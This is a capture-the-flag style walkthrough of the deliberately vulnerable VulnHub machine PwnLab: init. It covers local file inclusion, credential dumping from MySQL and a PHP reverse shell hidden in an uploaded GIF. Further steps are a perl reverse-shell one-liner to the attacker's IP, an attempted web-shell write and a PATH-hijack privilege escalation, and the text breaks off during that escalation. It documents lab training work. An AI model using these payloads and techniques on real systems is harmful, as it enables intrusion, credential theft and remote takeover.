PwnLab: init
21 May 2019 | WalkthroughsVulnHub URL: https://www.vulnhub.com/entry/pwnlab-init,158/
Hostname: pwnlab
IP Address: 10.183.0.223
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.223.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/pwnlabinit# nmap -Pn -sT -sV -A --script=default,banner -oA pwnlabinit -p- 10.183.0.223
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-21 09:46 CDT
Nmap scan report for pwnlab.homenet.dom (10.183.0.223)
Host is up (0.0014s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 45272/tcp status
|_ 100024 1 48434/udp status
3306/tcp open mysql
MySQL 5.5.47-0
+deb8u1
| banner: S\x00\x00\x00\x0A5.5.47-0+deb8u1\x00(\x00\x00\x00"_<J>:E0\x00\x
|_FF\xF7\x08\x02\x00\x0F\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x...
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 39
| Capabilities flags: 63487
| Some Capabilities: SupportsTransactions, InteractiveClient, SupportsLoadDataLocal, Support41Auth, IgnoreSigpipes, LongColumnFlag, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, ODBCClient, LongPassword, IgnoreSpaceBeforeParenthesis, FoundRows, SupportsCompression, Speaks41ProtocolNew, ConnectWithDatabase, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: qz43A/c*BNCCg\u[E(9$
|_ Auth Plugin Name: 88
45272/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:25:2E:EB (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.44 ms pwnlab.homenet.dom (10.183.0.223)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.07 seconds
Gaining Access
Checking on the software version information returned from nmap:
-
Apache/2.4.10 - no known vulnerabilities
-
MySQL 5.5.47-0 - no known vulnerabilities
Not much to start with. I'll start digging into the HTTP service on TCP port 80.
The default site for the service contains some links that might be vulnerable to local file inclusion.
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
Using some common LFI techniques, I wasn't able to load any files from the system. However, using PHP filters, I can load the contents of PHP pages as base64 encoded text.
For example, the following URL...
Returns the base64 string...
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnJlcXVpcmUoImNvbmZpZy5waHAiKTsNCiRteXNxbGkgPSBuZXcgbXlzcWxpKCRzZXJ2ZXIsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGF0YWJhc2UpOw0KDQppZiAoaXNzZXQoJF9QT1NUWyd1c2VyJ10pIGFuZCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpDQp7DQoJJGx1c2VyID0gJF9QT1NUWyd1c2VyJ107DQoJJGxwYXNzID0gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ3Bhc3MnXSk7DQoNCgkkc3RtdCA9ICRteXNxbGktPnByZXBhcmUoIlNFTEVDVCAqIEZST00gdXNlcnMgV0hFUkUgdXNlcj0/IEFORCBwYXNzPT8iKTsNCgkkc3RtdC0+YmluZF9wYXJhbSgnc3MnLCAkbHVzZXIsICRscGFzcyk7DQoNCgkkc3RtdC0+ZXhlY3V0ZSgpOw0KCSRzdG10LT5zdG9yZV9SZXN1bHQoKTsNCg0KCWlmICgkc3RtdC0+bnVtX3Jvd3MgPT0gMSkNCgl7DQoJCSRfU0VTU0lPTlsndXNlciddID0gJGx1c2VyOw0KCQloZWFkZXIoJ0xvY2F0aW9uOiA/cGFnZT11cGxvYWQnKTsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobyAiTG9naW4gZmFpbGVkLiI7DQoJfQ0KfQ0KZWxzZQ0Kew0KCT8+DQoJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQoJPGxhYmVsPlVzZXJuYW1lOiA8L2xhYmVsPjxpbnB1dCBpZD0idXNlciIgdHlwZT0idGVzdCIgbmFtZT0idXNlciI+PGJyIC8+DQoJPGxhYmVsPlBhc3N3b3JkOiA8L2xhYmVsPjxpbnB1dCBpZD0icGFzcyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjxiciAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQoJPD9waHANCn0NCg==
If I decode that, I get the following.
root@kali:~/Walkthroughs/pwnlabinit# echo "PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnJlcXVpcmUoImNvbmZpZy5waHAiKTsNCiRteXNxbGkgPSBuZXcgbXlzcWxpKCRzZXJ2ZXIsICR
1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGF0YWJhc2UpOw0KDQppZiAoaXNzZXQoJF9QT1NUWyd1c2VyJ10pIGFuZCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpDQp7DQoJJGx1c2VyID0gJF9QT1NUWyd1c
2VyJ107DQoJJGxwYXNzID0gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ3Bhc3MnXSk7DQoNCgkkc3RtdCA9ICRteXNxbGktPnByZXBhcmUoIlNFTEVDVCAqIEZST00gdXNlcnMgV0hFUkUgdXNlcj0/IEF
ORCBwYXNzPT8iKTsNCgkkc3RtdC0+YmluZF9wYXJhbSgnc3MnLCAkbHVzZXIsICRscGFzcyk7DQoNCgkkc3RtdC0+ZXhlY3V0ZSgpOw0KCSRzdG10LT5zdG9yZV9SZXN1bHQoKTsNCg0KCWlmICgkc
3RtdC0+bnVtX3Jvd3MgPT0gMSkNCgl7DQoJCSRfU0VTU0lPTlsndXNlciddID0gJGx1c2VyOw0KCQloZWFkZXIoJ0xvY2F0aW9uOiA/cGFnZT11cGxvYWQnKTsNCgl9DQoJZWxzZQ0KCXsNCgkJZWN
obyAiTG9naW4gZmFpbGVkLiI7DQoJfQ0KfQ0KZWxzZQ0Kew0KCT8+DQoJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQoJPGxhYmVsPlVzZXJuYW1lOiA8L2xhYmVsPjxpbnB1dCBpZD0idXNlciIgdHlwZT0idGVzdCIgbmFtZT0idXNlciI+PGJyIC8+DQoJPGxhYmVsPlBhc3N3b3JkOiA8L2xhYmVsPjxpbnB1dCBpZD0icGFzcyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjxiciAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQoJPD9waHANCn0NCg==" | base64 -d
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
If we use the same technique to load the config.php page, we should be able to obtain the database credentials.
root@kali:~/Walkthroughs/pwnlabinit# echo "PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+" | base64 -d
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
Let's see if we can use these credentials to connect to the MySQL service on the victim.
root@kali:~/Walkthroughs/pwnlabinit# mysql -u root -p -h 10.183.0.223
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 69
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Yes, indeed! 😄
Now we should be able to dump the user information from the database, login, and hopefully upload a reverse shell.
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Users |
+--------------------+
2 rows in set (0.001 sec)
MySQL [(none)]> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.002 sec)
MySQL [Users]> show columns in users;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| user | varchar(30) | YES | | NULL | |
| pass | varchar(30) | YES | | NULL | |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.002 sec)
MySQL [Users]> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.002 sec)
As we saw when we dumped the login.php page, the passwords are base64 encoded before being checked in the database. We should be able to reverse these base64 encoded passwords pretty easily.
kent | Sld6WHVCSkpOeQ== | JWzXuBJJNy
mike | U0lmZHNURW42SQ== | SIfdsTEn6I
kane | aVN2NVltMkdSbw== | iSv5Ym2GRo
Looks like the users have been selecting good, random passwords. It's a shame they are being stored (basically) in plain text.
Time to go try out these credentials on our upload site. Before we leave the mysql database, though, we should make sure it can't execute system commands or write files for us.
MySQL [Users]> select sys_exec('wget -O /tmp/test 10.183.0.222:4321/test');
ERROR 1305 (42000): FUNCTION Users.sys_exec does not exist
MySQL [Users]> select "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/cmd.php";
ERROR 1045 (28000): Access denied for user 'root'@'%' (using password: YES)
Doesn't look like it. Moving on...
We'll start by logging in as kent. There isn't any indication that it matters which user we login with, but we can always switch to a different user if we need to.
After logging in, we are able to access the upload page.
It is a pretty simple upload form. Thankfully, we can use our LFI/PHP filter technique to view the actual page source and see what's really happening.
root@kali:~/Walkthroughs/pwnlabinit# echo "PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGl
uLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2Zpb
GUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw
+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ
25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICc
uJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZ
yIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk
7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAna
W1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1
hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJ
HVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1s
nZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgN
CcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==" | base64 -d
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
Looking through the code, we see the following checks are being performed.
-
the file name we provide needs to end in '.jpg', '.jpeg', '.gif' or '.png'
-
the file type we provide needs to include the word 'image'
-
the file we provide needs to be able to pass a mime type check
-
the file type we provide can only have one slash
Most of this should be easy enough to bypass (since we can control the name and type), but the mime type check is a little more difficult. We'll probably have to custom build our upload file to have common image headers, along with our PHP code. Another major issue is that the uploaded file, when saved, doesn't preserve anything we can control (and have validated). This means we'll have to find a way to either rename our uploaded file to get it to be executed as PHP code or have it included and evaluated as PHP code.
Here are some of the common image signatures (occurring at the start of the file).
jpg (JFIF): FFD8FFEO00104A464946
gif (GIF89a): 474946383961
png (PNG): 89504E47
Let's first see if our image signature technique will work to create a simple phpinfo page. We'll build a GIF file containing a valid "signature", but then PHP code.
root@kali:~/Walkthroughs/pwnlabinit# echo "474946383961" | xxd -r -p > test.gif
root@kali:~/Walkthroughs/pwnlabinit# echo "<?php phpinfo(); ?>" >> test.gif
root@kali:~/Walkthroughs/pwnlabinit# hexdump -C test.gif
00000000 47 49 46 38 39 61 3c 3f 70 68 70 20 70 68 70 69 |GIF89a<?php phpi|
00000010 6e 66 6f 28 29 3b 20 3f 3e 0a |nfo(); ?>.|
0000001a
Time to try to upload it...
We were able to successfully upload the file (it passed all the checks), but it wasn't executed as PHP code. That's not surprising. Unfortunately, I don't see any way to rename the file. I know the index.php page has a LFI issue, but I haven't actually looked at the source for that page yet. Let's see if we might could get it to execute our PHP code (inside our image upload).
root@kali:~/Walkthroughs/pwnlabinit# echo "PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=" | base64 -d
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
Interesting. In addition to the include that uses the 'page' variable (and appends .php), we have an include (that doesn't limit the file extension) loaded from a cookie. We should be able to use this to execute the code in our uploaded image file.
Using curl, we are able to get phpinfo to load from our GIF file (using the "lang" cookie include)...
root@kali:~/Walkthroughs/pwnlabinit# curl -b "lang=../upload/daf280af792fd5b906511363ae2bc39d.gif" http://10.183.0.223/index.php
GIF89a<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html><head>
<style type="text/css">
body {background-color: #fff; color: #222; font-family: sans-serif;}
pre {margin: 0; font-family: monospace;}
a:link {color: #009; text-decoration: none; background-color: #fff;}
a:hover {text-decoration: underline;}
table {border-collapse: collapse; border: 0; width: 934px; box-shadow: 1px 2px 3px #ccc;}
.center {text-align: center;}
.center table {margin: 1em auto; text-align: left;}
.center th {text-align: center !important;}
td, th {border: 1px solid #666; font-size: 75%; vertical-align: baseline; padding: 4px 5px;}
h1 {font-size: 150%;}
h2 {font-size: 125%;}
.p {text-align: left;}
.e {background-color: #ccf; width: 300px; font-weight: bold;}
.h {background-color: #99c; font-weight: bold;}
.v {background-color: #ddd; max-width: 300px; overflow-x: auto;}
.v i {color: #999;}
img {float: right; border: 0;}
hr {width: 934px; background-color: #ccc; border: 0; height: 1px;}
</style>
<title>phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
[...snip...]
Notice how the output starts with our GIF image signature (GIF89a), then our PHP output. Now we just need to create a more malicious payload and get our reverse shell.
We'll use msfvenom to create our PHP reverse shell (base64 encoded)...
root@kali:~/Walkthroughs/pwnlabinit# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=5433 -e php/base64 -f raw > rev64.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4089 (iteration=0)
php/base64 chosen with final size 4089
Payload size: 4089 bytes
Next, we'll create a new GIF image with the php reverse shell code.
root@kali:~/Walkthroughs/pwnlabinit# echo "474946383961" | xxd -r -p > test2.gif root@kali:~/Walkthroughs/pwnlabinit# cat rev64.php >> test2.gif
NOTE: I wrapped the eval statement in the generated rev64.php file with <?php ?> tags.
I'll upload test2.gif to the victim and obtain the uploaded image path from the displayed image (below the upload form). Then, I'll start my reverse shell listeners in Metasploit. I like to start two listeners so I can connect a second reverse shell from the PHP reverse shell (since the PHP reverse shell doesn't stay active for very long.)
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5433
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5434
LPORT => 5434
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5434
All that's left to do now is request index.php with our lang cookie pointing to our malicious GIF image...
root@kali:~/Walkthroughs/pwnlabinit# curl -b "lang=../upload/7ce98a7cf2e887f9caf3385c4b067063.gif" http://10.183.0.223/index.php
...which results in our session connecting in Metasploit...
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5433 -> 10.183.0.223:40939) at 2019-05-21 12:25:59 -0500
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/var/www/html
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
perl -e 'use Socket;$i="10.183.0.222";$p=5434;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
[*] Command shell session 2 opened (10.183.0.222:5434 -> 10.183.0.223:49112) at 2019-05-21 12:26:09 -0500
background
Background session 1? [y/N] y
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
www-data@pwnlab:/var/www/html$
...I connected to the PHP reverse shell and kicked off a second reverse shell (using perl). Now we have a stable reverse shell on the victim.
Maintaining Access
I skipped this step this time. Refer to my other write-ups for my typical "Maintaining Access" steps.
Privilege Escalation
Checking the installed kernel and operating system...
www-data@pwnlab:/$ uname -a
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
www-data@pwnlab:/$ cat /etc/os*
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debian
HOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
...against the exploit database... we don't actually have much to work with.
Checking for SUID binaries, we have the following...
www-data@pwnlab:/$ find / -user root -perm -u=s -type f 2>&1 | grep -v "Permission denied"
/bin/mount
/bin/su
/bin/umount
/sbin/mount.nfs
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/chsh
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/exim4
The one that stands out is /usr/sbin/exim4.
www-data@pwnlab:/$ /usr/sbin/exim4 --version
/usr/sbin/exim4 --version
Exim version 4.84_2 #2 built 13-Mar-2016 22:18:29
Copyright (c) University of Cambridge, 1995 - 2014
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2014
Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013)
Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DKIM PRDR OCSP
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated
Checking the exploit database, we have a couple of potential hits.
Exim 4.84-3 - Local Privilege Escalation | exploits/linux/local/39535.sh
Exim < 4.86.2 - Local Privilege Escalation | exploits/linux/local/39549.txt
Unfortunately, both these exploits require exim to be compiled with perl support, which ours isn't.
www-data@pwnlab:/$ exim -bV -v | grep -i perl
We also have...
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation | exploits/linux/local/40054.c
We can get it to compile on the victim, but we can't seem to get it to run (seg faults). Moving on...
Checking /etc/passwd, we see that several of the users we harvested from the database have local accounts.
www-data@pwnlab:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...snip...]
john:x:1000:1000:,,,:/home/john:/bin/bash
kent:x:1001:1001:,,,:/home/kent:/bin/bash
mike:x:1002:1002:,,,:/home/mike:/bin/bash
kane:x:1003:1003:,,,:/home/kane:/bin/bash
[...snip...]
Let's see if the users' local account passwords are the same as the ones stored in the database.
www-data@pwnlab:/etc/cron.daily$ su - kent
Password: JWzXuBJJNy
kent@pwnlab:~$ ls -laF
total 20
drwxr-x--- 2 kent kent 4096 Mar 17 2016 ./
drwxr-xr-x 6 root root 4096 Mar 17 2016 ../
-rw-r--r-- 1 kent kent 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kent kent 3515 Mar 17 2016 .bashrc
-rw-r--r-- 1 kent kent 675 Mar 17 2016 .profile
kent@pwnlab:~$ exit
www-data@pwnlab:/$ su - mike
Password: SIfdsTEn6I
su: Authentication failure
www-data@pwnlab:/$ su - kane
Password: iSv5Ym2GRo
kane@pwnlab:~$ ls -laF
total 28
drwxr-x--- 2 kane kane 4096 Mar 17 2016 ./
drwxr-xr-x 6 root root 4096 Mar 17 2016 ../
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike*
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
kane@pwnlab:~$ file msgmike
file msgmike
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped
The passwords for kent and kane worked, but not mike. Kent didn't have anything interesting in his home directory, but kane does. There is an ELF binary named msgmike. The binary also has the SUID bit set (with user/group mike), so it runs as mike. The only debugging tool we have available on the victim is "strings". Running that on the binary, we get the following...
kane@pwnlab:~$ strings msgmike
[...snip...]
cat /home/mike/msg.txt
[...snip...]
Looks like the binary just cats a TXT file stored in mike's home folder. We'll go ahead and run it to see what the TXT file says.
kane@pwnlab:~$ ./msgmike
cat: /home/mike/msg.txt: No such file or directory
Or not. Looks like the msg.txt file doesn't actually exist. All is not lost, however. The call to 'cat' doesn't specify the full path to the executable, so the program is looked up in $PATH. Since we control $PATH, we control the 'cat' command.
To become mike, we will create our own version of cat that allows us to become mike. But first, we need to get mike's uid and gid.
kane@pwnlab:~$ grep mike /etc/passwd
mike:x:1002:1002:,,,:/home/mike:/bin/bash
Now we'll create a C program to become mike (uid/gid 1002)...
kane@pwnlab:~$ cat likemike.c
#include <unistd.h>
main( int argc, char ** argv, char ** envp )
{
// setresuid, setresgid - set real, effective and saved user or group ID
setresuid(1002, 1002, 1002);
setresgid(1002, 1002, 1002);
system("/bin/bash", argv, envp);
return 0;
}
...compile it...
kane@pwnlab:~$ gcc -o cat likemike.c
...update our PATH to include our $HOME directory as the first place to be searched...
kane@pwnlab:~$ export PATH=$HOME:$PATH
